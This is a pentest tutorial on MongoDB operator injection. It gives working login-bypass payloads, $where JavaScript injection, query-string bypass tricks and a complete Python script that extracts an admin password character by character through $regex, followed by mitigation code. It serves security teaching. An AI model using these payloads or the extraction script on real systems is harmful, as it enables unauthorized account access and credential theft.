bug-bounty

MongoDB Operator Injection

Uso de operadores NoSQL ($gt, $ne) para bypass de autenticación y extracción de datos.

Pentester
20 minutos
CVSS 8.9
Enero 2026

What is NoSQL Injection?

Unlike SQL, NoSQL databases like MongoDB don't use text-format queries. Instead, they use JavaScript/JSON objects that can be manipulated to alter query logic.

Key Difference from SQL Injection

  • SQL: You inject strings like ' OR '1'='1
  • NoSQL: You inject objects like {"$ne": null}

Many developers believe that using MongoDB makes them "protected" from injection, but this is a dangerous myth.

1. Login Bypass with Operators

Vulnerable Scenario

An API that receives credentials in JSON and passes them directly to MongoDB:

❌ Vulnerable code (Node.js + Express)
javascript
// Vulnerable API endpoint
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  
  // ❌ DANGER: Passes user input directly
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });
  
  if (user) {
    res.json({ success: true, token: generateToken(user) });
  } else {
    res.json({ success: false });
  }
});

Why is it vulnerable?

If the attacker sends an object instead of a string, they can manipulate the MongoDB query using its special operators.

Attack Payload: $ne Operator (Not Equal)

Instead of sending normal strings, we send objects with MongoDB operators:

Payload - Login bypass with $ne
json
// Normal request (legitimate)
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": "secretpass123"
}

// Malicious request (attack)
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": {"$ne": null}
}

🔓 How does it work?

The payload {"$ne": null} translates to:

// Resulting MongoDB query
db.collection('users').findOne({
  username: "admin",
  password: { $ne: null }  // ← "password NOT EQUAL to null"
});

// This means: "Give me user 'admin' whose password is NOT null"
// And virtually ALL passwords meet that condition!

Result: Successful login without knowing the actual password.

Other Useful Operators for Bypass

Payload variants
json
// $gt (greater than)
{
  "username": "admin",
  "password": {"$gt": ""}
}

// $regex - Regular expression that matches everything
{
  "username": "admin",
  "password": {"$regex": ".*"}
}

// $in - Password is in an array (always true)
{
  "username": "admin",
  "password": {"$in": ["admin", "password", "123456", "", null]}
}

// $exists - Password field exists
{
  "username": "admin",
  "password": {"$exists": true}
}

Stealthier payload

The $gt with empty string operator is less suspicious in logs than $ne null, because it looks like a "normal" comparison.

2. Data Extraction with $regex

Scenario: Exfiltrate Passwords Character by Character

Using regular expressions, we can extract data bit by bit, similar to Time-blind SQL Injection but based on boolean responses.

Payload - Detect first character of password
json
// Does admin's password start with 'a'?
{
  "username": "admin",
  "password": {"$regex": "^a"}
}

// Does it start with 'b'?
{
  "username": "admin",
  "password": {"$regex": "^b"}
}

// ... Continue until finding the correct character
Server responses
// If password starts with 'a' {"success": false} ← No match // If password starts with 'p' {"success": true} ← Match! First char is 'p'

Automation Script (Python)

mongodb_password_exfiltration.py
python
import requests
import string

URL = "https://target.com/api/login"
CHARSET = string.ascii_lowercase + string.digits + "_@.-!#$%"
PASSWORD = ""

print("[+] Starting password extraction for user 'admin'...")

# Extract each character
while True:
    found = False
    
    for char in CHARSET:
        # Build regex to test next character
        regex = f"^{PASSWORD}{char}"
        
        payload = {
            "username": "admin",
            "password": {"$regex": regex}
        }
        
        r = requests.post(URL, json=payload)
        
        # If login successful, we found the character
        if r.json().get("success"):
            PASSWORD += char
            print(f"[+] Char found: {char} → Current password: {PASSWORD}")
            found = True
            break
    
    # If no more characters found, we're done
    if not found:
        break

print(f"\n[✓] Complete password extracted: {PASSWORD}")

Optimization: Case-insensitive regex

Use the $options operator with value i to make the search case-insensitive and speed up the process.

Extracting Multiple Users

Payload - Enumerate users with $regex
json
// Users starting with 'a'
{
  "username": {"$regex": "^a"},
  "password": {"$ne": null}
}

// Exact 5-character usernames
{
  "username": {"$regex": "^.{5}$"},
  "password": {"$ne": null}
}

// Users containing 'admin'
{
  "username": {"$regex": "admin", "$options": "i"},
  "password": {"$ne": null}
}

3. Advanced Operators

$where - JavaScript Injection

The $where operator allows executing arbitrary JavaScript codein the MongoDB server context. Extremely dangerous if not filtered.

Payload - $where injection
json
// Login bypass with JavaScript code
{
  "username": "admin",
  "$where": "return true"
}

// Extract password character by character
{
  "username": "admin",
  "$where": "this.password.substring(0,1) == 'p'"
}

// Sleep-based (Time-blind NoSQL)
{
  "username": "admin",
  "$where": "sleep(5000) || true"
}

Critical impact

With $where you can:
  • Execute arbitrary JavaScript on server
  • Access this (current document)
  • Cause DoS with infinite loops
  • Exfiltrate sensitive data

$lookup - Server-Side Join Injection

Payload - Join data from other collections
json
// Try to join with 'admin_keys' collection
{
  "$lookup": {
    "from": "admin_keys",
    "localField": "_id",
    "foreignField": "user_id",
    "as": "secrets"
  }
}

$expr - Complex Comparisons

Payload - Conditional expressions
json
// Bypass when username == password
{
  "$expr": {
    "$eq": ["$username", "$password"]
  }
}

// Detect documents with specific fields
{
  "$expr": {
    "$gt": [{"$strLenCP": "$password"}, 10]
  }
}

4. Bypassing Common Validations

Type Checking Bypass

Some developers validate "if it's a string", but forget to validate nested objects:

❌ Insufficient validation
javascript
// Validation attempt (INSUFFICIENT)
if (typeof username === 'string' && typeof password === 'string') {
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });
}

// ❌ Problem: Doesn't validate OBJECTS like {"$ne": null}
Payload that bypasses this validation
json
// Nested object injection
{
  "username": "admin",
  "password": {
    "$ne": null
  }
}

// The typeof password will be 'object', but some frameworks
// automatically convert it before the check

Bypass via URL Parameters

Payload - Query string injection
http
GET /api/login?username=admin&password[$ne]=null HTTP/1.1

// Some frameworks parse this as:
{
  "username": "admin",
  "password": {
    "$ne": null
  }
}

Vulnerable frameworks

Express.js with qs library (default) parsespassword[$ne]=null as an object.

Mitigation for Developers

How to prevent NoSQL Injection

  • Input Sanitization: Reject objects, only accept primitive strings/numbers
  • Whitelist Validation: Validate that inputs don't contain $ characters (operators)
  • Strict Type Checking: Verify types recursively in nested objects
  • Disable $where: Configure MongoDB to block $where operator
  • Hash Passwords: NEVER compare passwords in plaintext, use bcrypt/argon2
✅ Secure code with sanitization
javascript
const validator = require('validator');

app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  
  // ✅ Validate they are primitive strings
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Invalid input type' });
  }
  
  // ✅ Reject $ characters (MongoDB operators)
  if (username.includes('$') || password.includes('$')) {
    return res.status(400).json({ error: 'Invalid characters' });
  }
  
  // ✅ Validate format (optional but recommended)
  if (!validator.isAlphanumeric(username)) {
    return res.status(400).json({ error: 'Invalid username format' });
  }
  
  // ✅ Compare with hash, NOT plaintext
  const user = await db.collection('users').findOne({ username });
  
  if (user && await bcrypt.compare(password, user.passwordHash)) {
    res.json({ success: true, token: generateToken(user) });
  } else {
    res.json({ success: false });
  }
});
✅ Reusable sanitization helper
javascript
// Helper to sanitize MongoDB inputs
function sanitizeMongoInput(obj) {
  if (typeof obj !== 'object' || obj === null) {
    return obj;
  }
  
  const sanitized = {};
  
  for (const [key, value] of Object.entries(obj)) {
    // Reject keys starting with $ (operators)
    if (key.startsWith('$')) {
      throw new Error(`Invalid key: ${key}`);
    }
    
    // Sanitize recursively
    if (typeof value === 'object' && value !== null) {
      sanitized[key] = sanitizeMongoInput(value);
    } else {
      sanitized[key] = value;
    }
  }
  
  return sanitized;
}

// Usage
app.post('/api/data', async (req, res) => {
  try {
    const sanitized = sanitizeMongoInput(req.body);
    const result = await db.collection('data').find(sanitized).toArray();
    res.json(result);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});
Por Aitana Security Team